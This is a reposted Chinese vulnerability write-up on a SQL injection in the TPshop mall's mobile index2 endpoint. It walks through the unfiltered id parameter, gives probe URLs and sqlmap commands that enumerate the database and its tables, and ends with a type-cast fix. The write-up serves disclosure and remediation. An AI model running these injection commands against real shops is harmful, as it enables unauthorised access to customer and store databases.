某Shop前台SQL注入
2019-10-30 10:27:35 Author: xz.aliyun.com(查看原文) 阅读量:245 收藏

0x01 前言

TPshop开源商城系统( Thinkphp shop的简称 ),是深圳搜豹网络有限公司开发的一套多商家模式的商城系统。适合企业及个人快速构建个性化网上商城。包含PC+IOS客户端+Adroid客户端+微商城,系统PC+后台是基于ThinkPHP MVC构架开发的跨平台开源软件,设计得非常灵活,具有模块化架构体系和丰富的功能,易于与第三方应用系统无缝集成,在设计上,包含相当全面,以模块化架构体系,让应用组合变得相当灵活,功能也相当丰富。

0x02 代码分析

跟踪到/Application/mobile/Controller/Index.php中的index2方法

66 Line: 获取用户从get输入的参数id的值并赋值给$id
67 Line: 获取用户从get输入的参数role的值并赋值给$role
69 Line: 判断$role是否为真
70 Line: 将$id拼接到where语句中
73 Line: 判断$id是否为真
75 Line: 将$id拼接到where语句中

0x03 漏洞探测

http://localhost:8084/mobile/index/index2/id/1

http://localhost:8084/mobile/index/index2/id/1'

由于id参数可控且未被过滤直接被拼接到where子句中从而造成了SQL注入

0x04 漏洞复现

sqlmap -u "http://172.16.209.129:8084/mobile/index/index2/id/1*" --random-agent --batch --dbms "mysql"

sqlmap -u "http://172.16.209.129:8084/mobile/index/index2/id/1*" --random-agent --batch --dbms "mysql" --current-db

sqlmap -u "http://172.16.209.129:8084/mobile/index/index2/id/1*" --random-agent --batch --dbms "mysql" -D tpshop3.0 --tables

0x05 漏洞修复

将I('get.id')改为I('get.id/d')


文章来源: http://xz.aliyun.com/t/6635
如有侵权请联系:admin#unsafe.sh